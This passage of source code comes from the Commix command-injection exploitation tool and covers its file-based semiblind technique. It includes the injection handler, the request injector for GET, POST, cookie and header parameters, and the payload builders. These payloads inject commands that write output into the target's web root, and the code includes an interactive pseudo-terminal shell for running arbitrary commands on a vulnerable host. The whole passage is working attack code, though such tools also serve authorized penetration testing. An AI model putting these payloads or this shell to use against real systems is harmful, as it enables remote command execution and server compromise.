info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
return True
else:
return True
else:
return False
"""
The "file-based" injection technique handler
"""
def fb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique):
shell = False
counter = 1
vp_flag = True
exit_loops = False
no_result = True
is_encoded = False
stop_injection = False
call_tmp_based = False
next_attack_vector = False
export_injection_info = False
tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response)
if not settings.LOAD_SESSION or settings.RETEST == True:
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
info_msg = "Trying to create a file in '" + settings.WEB_ROOT
info_msg += "' for command execution output. "
print(settings.print_info_msg(info_msg))
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
# Check if defined alter shell
alter_shell = menu.options.alter_shell
for whitespace in settings.WHITESPACES:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
if settings.LOAD_SESSION:
try:
settings.FILE_BASED_STATE = True
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
checks.check_for_stored_tamper(payload)
OUTPUT_TEXTFILE = TAG + ".txt"
session_handler.notification(url, technique, injection_type)
if technique == "tempfile-based injection technique":
#settings.LOAD_SESSION = True
tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response)
except TypeError:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "Use the '--flush-session' option."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique)
if not settings.LOAD_SESSION:
i = i + 1
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = TAG + ".txt"
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
try:
# File-based decision payload (check if host is vulnerable).
if alter_shell :
payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE)
else:
payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE)
# Check if defined "--prefix" option.
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL != 0:
payload_msg = payload.replace("\n", "\\n")
print(settings.print_payload(payload_msg))
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie header injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
response = fb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent HTTP Header Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent HTTP header injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer HTTP Header Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to Referer HTTP header injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
response = fb_injector.referer_injection_test(url, vuln_parameter, payload)
# Host HTTP Header Injection
elif settings.HOST_INJECTION == True:
# Check if target host is vulnerable to Host HTTP header injection.
vuln_parameter = parameters.specify_host_parameter(menu.options.host)
response = fb_injector.host_injection_test(url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom HTTP header injection.
vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url)
# Find the directory.
output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, timesec)
time.sleep(timesec)
try:
# Check if defined extra headers.
request = _urllib.request.Request(output)
headers.do_check(request)
# Evaluate test results.
output = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
html_data = output.read()
shell = re.findall(r"" + TAG + "", str(html_data))
if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL != 0:
percent = settings.info_msg
info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
if len(shell) == 0 :
raise _urllib.error.HTTPError(url, 404, 'Error', {}, None)
except _urllib.error.HTTPError as e:
if str(e.getcode()) == settings.NOT_FOUND_ERROR:
percent = ((i*100)/total)
float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))
if call_tmp_based == True:
exit_loops = True
tmp_path = os.path.split(menu.options.file_dest)[0] + "/"
tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response)
raise
# Show an error message, after N failed tries.
# Use the "/tmp/" directory for tempfile-based technique.
elif (i == int(menu.options.failed_tries) and no_result == True) or (i == total):
if i == total:
if finalize(exit_loops, no_result, float_percent, injection_type, technique):
continue
else:
raise
tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response)
sys.stdout.write("\r")
message = "It seems that you don't have permissions to "
message += "read and/or write files in '" + settings.WEB_ROOT + "'. "
while True:
message = message + "Do you want to use the temporary directory (" + tmp_path + ")? [Y/n] > "
tmp_upload = common.read_input(message, default="Y", check_batch=True)
if tmp_upload in settings.CHOICE_YES:
exit_loops = True
settings.TEMPFILE_BASED_STATE = True
call_tfb = tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response)
if call_tfb != False:
return True
else:
if no_result == True:
return False
else:
return True
elif tmp_upload in settings.CHOICE_NO:
break
elif tmp_upload in settings.CHOICE_QUIT:
print(settings.SINGLE_WHITESPACE)
raise
else:
common.invalid_option(tmp_upload)
pass
continue
else:
if finalize(exit_loops, no_result, float_percent, injection_type, technique):
continue
else:
raise
elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR:
err_msg = "Authorization required!"
print(settings.print_critical_msg(err_msg) + "\n")
raise SystemExit()
elif str(e.getcode()) == settings.FORBIDDEN_ERROR:
err_msg = "You don't have permission to access this page."
print(settings.print_critical_msg(err_msg) + "\n")
raise SystemExit()
except (KeyboardInterrupt, SystemExit):
# Delete previous shell (text) files (output)
if 'vuln_parameter' in locals():
# print(settings.SINGLE_WHITESPACE)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except _urllib.error.URLError as e:
warn_msg = "It seems that you don't have permissions to "
warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
err_msg = str(e).replace(": "," (") + ")."
if settings.VERBOSITY_LEVEL >= 2:
print(settings.SINGLE_WHITESPACE)
print(settings.print_critical_msg(err_msg))
# Provide custom server's root directory.
custom_web_root(url, timesec, filename, http_request_method, url_time_response)
continue
except:
raise
# Yaw, got shellz!
# Do some magic tricks!
if shell:
settings.FILE_BASED_STATE = True
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if not settings.VERBOSITY_LEVEL != 0 and \
not menu.options.alter_shell and \
not next_attack_vector:
next_attack_vector = True
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.HOST_INJECTION == True:
header_name = "Host"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
# Check if defined POST data
if not settings.USER_DEFINED_POST_DATA:
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
else:
checks.total_of_requests()
# Print the findings to terminal.
info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via "
info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "."
print(settings.print_bold_info_msg(info_msg))
sub_content = str(checks.url_decode(payload))
print(settings.print_sub_content(sub_content))
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level)
else:
whitespace = settings.WHITESPACES[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
new_line = True
if settings.ENUMERATION_DONE == True :
while True:
message = "Do you want to ignore stored session and enumerate again? [y/N] > "
enumerate_again = common.read_input(message, default="N", check_batch=True)
if enumerate_again in settings.CHOICE_YES:
if not menu.options.ignore_session:
menu.options.ignore_session = True
fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
break
elif enumerate_again in settings.CHOICE_NO:
new_line = False
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
else:
common.invalid_option(enumerate_again)
pass
else:
if menu.enumeration_options():
fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
while True:
message = "Do you want to ignore stored session and access files again? [y/N] > "
file_access_again = common.read_input(message, default="N", check_batch=True)
if file_access_again in settings.CHOICE_YES:
if not menu.options.ignore_session:
menu.options.ignore_session = True
fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
else:
common.invalid_option(enumerate_again)
pass
else:
if menu.file_access_options():
fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Check if defined single cmd.
if menu.options.os_cmd:
fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Pseudo-Terminal shell
try:
checks.alert()
go_back = False
go_back_again = False
while True:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if go_back == True:
break
message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
if settings.CRAWLING:
settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc)
if not settings.STDIN_PARSING:
gotshell = common.read_input(message, default="Y", check_batch=True)
else:
gotshell = common.read_input(message, default="n", check_batch=True)
if gotshell in settings.CHOICE_YES:
print(settings.OS_SHELL_TITLE)
if settings.READLINE_ERROR:
checks.no_readline_module()
while True:
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
sys.stdout.write(settings.OS_SHELL)
cmd = common.read_input(message="", default="os_shell", check_batch=True)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE)
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
time.sleep(timesec)
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Command execution results.
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell or shell != "":
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, shell)
print(settings.command_execution_output(shell))
else:
err_msg = common.invalid_cmd_output(cmd)
print(settings.print_critical_msg(err_msg))
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
else:
common.invalid_option(gotshell)
pass
except KeyboardInterrupt:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
"""
The exploitation function.
(call the injection handler)
"""
def exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique):
if fb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) == False:
return False
# eof
commix-3.8/src/core/injections/semiblind/techniques/file_based/fb_injector.py 0000775 0000000 0000000 00000032206 14466364451 0027620 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import os
import sys
import time
import json
import string
import random
import base64
from src.utils import menu
from src.utils import settings
from src.core.requests import tor
from src.core.requests import proxy
from src.core.requests import headers
from src.core.requests import requests
from src.core.requests import parameters
from src.utils import common
from src.core.injections.controller import checks
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.six.moves import input as _input
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.injections.semiblind.techniques.file_based import fb_payloads
"""
The "file-based" technique on semiblind OS command injection.
"""
"""
Check if target host is vulnerable.
"""
def injection_test(payload, http_request_method, url):
# Check if defined POST data
if not settings.USER_DEFINED_POST_DATA:
# Check if its not specified the 'INJECT_HERE' tag
#url = parameters.do_GET_check(url, http_request_method)
# Encoding spaces.
payload = payload.replace(settings.SINGLE_WHITESPACE,"%20")
# Define the vulnerable parameter
vuln_parameter = parameters.vuln_GET_param(url)
target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(target)
# Check if defined extra headers.
headers.do_check(request)
try:
# Get the response of the request
response = requests.get_request_response(request)
except KeyboardInterrupt:
response = None
# Check if defined method is POST.
else:
parameter = menu.options.data
#parameter = _urllib.parse.unquote(parameter)
# Check if its not specified the 'INJECT_HERE' tag
parameter = parameters.do_POST_check(parameter, http_request_method)
parameter = ''.join(str(e) for e in parameter).replace("+","%2B")
# Define the POST data
if settings.IS_JSON:
data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
try:
data = checks.json_data(data)
except ValueError:
pass
elif settings.IS_XML:
data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload))
else:
data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC))
# Check if defined extra headers.
headers.do_check(request)
# Define the vulnerable parameter
vuln_parameter = parameters.vuln_POST_param(parameter, url)
try:
# Get the response of the request
response = requests.get_request_response(request)
except KeyboardInterrupt:
response = None
return response, vuln_parameter
"""
Check if target host is vulnerable. (Cookie-based injection)
"""
def cookie_injection_test(url, vuln_parameter, payload):
return requests.cookie_injection(url, vuln_parameter, payload)
"""
Check if target host is vulnerable. (User-Agent-based injection)
"""
def user_agent_injection_test(url, vuln_parameter, payload):
return requests.user_agent_injection(url, vuln_parameter, payload)
"""
Check if target host is vulnerable. (Referer-based injection)
"""
def referer_injection_test(url, vuln_parameter, payload):
return requests.referer_injection(url, vuln_parameter, payload)
"""
Check if target host is vulnerable. (Host-based injection)
"""
def host_injection_test(url, vuln_parameter, payload):
return requests.host_injection(url, vuln_parameter, payload)
"""
Check if target host is vulnerable. (Custom header injection)
"""
def custom_header_injection_test(url, vuln_parameter, payload):
return requests.custom_header_injection(url, vuln_parameter, payload)
"""
The main command injection exploitation.
"""
def injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
# Execute shell commands on vulnerable host.
if alter_shell :
payload = fb_payloads.cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE)
else:
payload = fb_payloads.cmd_execution(separator, cmd, OUTPUT_TEXTFILE)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL != 0:
payload_msg = payload.replace("\n", "\\n")
if settings.COMMENT in payload_msg:
payload = payload.split(settings.COMMENT)[0].strip()
payload_msg = payload_msg.split(settings.COMMENT)[0].strip()
debug_msg = "Executing the '" + cmd.split(settings.COMMENT)[0].strip() + "' command. "
sys.stdout.write(settings.print_debug_msg(debug_msg))
sys.stdout.flush()
output_payload = "\n" + settings.print_payload(payload)
if settings.VERBOSITY_LEVEL != 0:
output_payload = output_payload + "\n"
sys.stdout.write(output_payload)
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
response = cookie_injection_test(url, vuln_parameter, payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
response = user_agent_injection_test(url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
response = referer_injection_test(url, vuln_parameter, payload)
# Check if defined host with "INJECT_HERE" tag
elif menu.options.host and settings.INJECT_TAG in menu.options.host:
response = host_injection_test(url, vuln_parameter, payload)
# Check if defined custom header with "INJECT_HERE" tag
elif settings.CUSTOM_HEADER_INJECTION:
response = custom_header_injection_test(url, vuln_parameter, payload)
else:
# Check if defined POST data
if not settings.USER_DEFINED_POST_DATA:
# Check if its not specified the 'INJECT_HERE' tag
#url = parameters.do_GET_check(url, http_request_method)
payload = payload.replace(settings.SINGLE_WHITESPACE,"%20")
target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
vuln_parameter = ''.join(vuln_parameter)
request = _urllib.request.Request(target)
# Check if defined extra headers.
headers.do_check(request)
# Get the response of the request
response = requests.get_request_response(request)
else:
# Check if defined method is POST.
parameter = menu.options.data
#parameter = _urllib.parse.unquote(parameter)
# Check if its not specified the 'INJECT_HERE' tag
parameter = parameters.do_POST_check(parameter, http_request_method)
parameter = ''.join(str(e) for e in parameter).replace("+","%2B")
# Define the vulnerable parameter
vuln_parameter = parameters.vuln_POST_param(parameter, url)
# Define the POST data
if settings.IS_JSON:
data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
try:
data = checks.json_data(data)
except ValueError:
pass
elif settings.IS_XML:
data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload))
else:
data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC))
# Check if defined extra headers.
headers.do_check(request)
# Get the response of the request
response = requests.get_request_response(request)
return response
# Do the injection check
response = check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
return response
"""
Find the URL directory.
"""
def injection_output(url, OUTPUT_TEXTFILE, timesec):
def custom_web_root(url, OUTPUT_TEXTFILE):
path = _urllib.parse.urlparse(url).path
if path.endswith('/'):
# Contract again the url.
scheme = _urllib.parse.urlparse(url).scheme
netloc = _urllib.parse.urlparse(url).netloc
output = scheme + "://" + netloc + path + OUTPUT_TEXTFILE
else:
try:
path_parts = [non_empty for non_empty in path.split('/') if non_empty]
count = 0
for part in path_parts:
count = count + 1
count = count - 1
last_param = path_parts[count]
output = url.replace(last_param, OUTPUT_TEXTFILE)
if "?" and ".txt" in output:
try:
output = output.split("?")[0]
except:
pass
except IndexError:
output = url + "/" + OUTPUT_TEXTFILE
settings.DEFINED_WEBROOT = output
return output
if not settings.DEFINED_WEBROOT or settings.MULTI_TARGETS:
if menu.options.web_root:
_ = "/"
if not menu.options.web_root.endswith(_):
menu.options.web_root = menu.options.web_root + _
scheme = _urllib.parse.urlparse(url).scheme
netloc = _urllib.parse.urlparse(url).netloc
output = scheme + "://" + netloc + _ + OUTPUT_TEXTFILE
for item in settings.LINUX_DEFAULT_DOC_ROOTS:
if item == menu.options.web_root:
settings.DEFINED_WEBROOT = output
break
if not settings.DEFINED_WEBROOT or (settings.MULTI_TARGETS and not settings.RECHECK_FILE_FOR_EXTRACTION):
if settings.MULTI_TARGETS:
settings.RECHECK_FILE_FOR_EXTRACTION = True
while True:
message = "Do you want to use URL '" + output
message += "' as command execution output? [Y/n] > "
procced_option = common.read_input(message, default="Y", check_batch=True)
if procced_option in settings.CHOICE_YES:
settings.DEFINED_WEBROOT = output
break
elif procced_option in settings.CHOICE_NO:
output = custom_web_root(url, OUTPUT_TEXTFILE)
info_msg = "Using '" + output
info_msg += "' as command execution output."
print(settings.print_info_msg(info_msg))
if not settings.DEFINED_WEBROOT:
pass
else:
break
elif procced_option in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(procced_option)
pass
else:
output = custom_web_root(url, OUTPUT_TEXTFILE)
else:
output = settings.DEFINED_WEBROOT
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Checking URL '" + settings.DEFINED_WEBROOT + "' for command execution output."
print(settings.print_debug_msg(debug_msg))
return output
"""
Command execution results.
"""
def injection_results(url, OUTPUT_TEXTFILE, timesec):
#Find the directory.
output = injection_output(url, OUTPUT_TEXTFILE, timesec)
# Check if defined extra headers.
request = _urllib.request.Request(output)
headers.do_check(request)
headers.check_http_traffic(request)
# Check if defined any HTTP Proxy (--proxy option).
if menu.options.proxy:
response = proxy.use_proxy(request)
# Check if defined Tor (--tor option).
elif menu.options.tor:
response = tor.use_tor(request)
else:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
try:
shell = checks.page_encoding(response, action="encode").rstrip().lstrip()
#shell = [newline.replace("\n",settings.SINGLE_WHITESPACE) for newline in shell]
if settings.TARGET_OS == settings.OS.WINDOWS:
shell = [newline.replace("\r","") for newline in shell]
#shell = [space.strip() for space in shell]
shell = [empty for empty in shell if empty]
except _urllib.error.HTTPError as e:
if str(e.getcode()) == settings.NOT_FOUND_ERROR:
shell = ""
return shell
# eof commix-3.8/src/core/injections/semiblind/techniques/file_based/fb_payloads.py 0000775 0000000 0000000 00000010311 14466364451 0027610 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
"""
The "file-based" technique on semiblind OS command injection.
The available "file-based" payloads.
"""
from src.utils import menu
from src.utils import settings
from src.core.injections.controller import checks
"""
File-based decision payload (check if host is vulnerable).
"""
def decision(separator, TAG, OUTPUT_TEXTFILE):
if settings.TARGET_OS == settings.OS.WINDOWS:
payload = (separator +
settings.WIN_FILE_WRITE_OPERATOR + settings.WEB_ROOT.replace("\\","\\\\") + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'\""
)
else:
payload = (separator +
"echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE
)
return payload
"""
__Warning__: The alternative shells are still experimental.
"""
def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE):
if settings.TARGET_OS == settings.OS.WINDOWS:
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"open('" + OUTPUT_TEXTFILE + "','w').write('" + TAG + "')\""
payload = (separator +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do @set /p = %i " + settings.CMD_NUL
)
else:
payload = (separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('" + TAG + "')\nf.close()\n\")"
)
if settings.USER_AGENT_INJECTION == True or \
settings.REFERER_INJECTION == True or \
settings.HOST_INJECTION == True or \
settings.CUSTOM_HEADER_INJECTION == True :
payload = payload.replace("\n", separator)
else:
if settings.TARGET_OS != settings.OS.WINDOWS:
payload = payload.replace("\n","%0d")
return payload
"""
Execute shell commands on vulnerable host.
"""
def cmd_execution(separator, cmd, OUTPUT_TEXTFILE):
if settings.TFB_DECIMAL == True:
payload = (separator + cmd)
elif settings.TARGET_OS == settings.OS.WINDOWS:
payload = (separator +
"for /f \"tokens=*\" %i in ('cmd /c \"" +
"powershell.exe -InputFormat none write-host (cmd /c \"" +
cmd +
"\")\"') do " + settings.WIN_FILE_WRITE_OPERATOR + settings.WEB_ROOT.replace("\\","\\\\") + OUTPUT_TEXTFILE + " '%i'" + settings.CMD_NUL
)
else:
settings.USER_SUPPLIED_CMD = cmd
payload = (separator +
cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE
)
return payload
"""
__Warning__: The alternative shells are still experimental.
"""
def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE):
if settings.TARGET_OS == settings.OS.WINDOWS:
if settings.REVERSE_TCP:
payload = (separator + cmd + settings.SINGLE_WHITESPACE
)
else:
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + "')\""
payload = (separator +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do @set /p = %i " + settings.CMD_NUL
)
else:
payload = (separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")"
)
# New line fixation
if settings.USER_AGENT_INJECTION == True or \
settings.REFERER_INJECTION == True or \
settings.HOST_INJECTION == True or \
settings.CUSTOM_HEADER_INJECTION == True:
payload = payload.replace("\n", separator)
else:
if settings.TARGET_OS != settings.OS.WINDOWS:
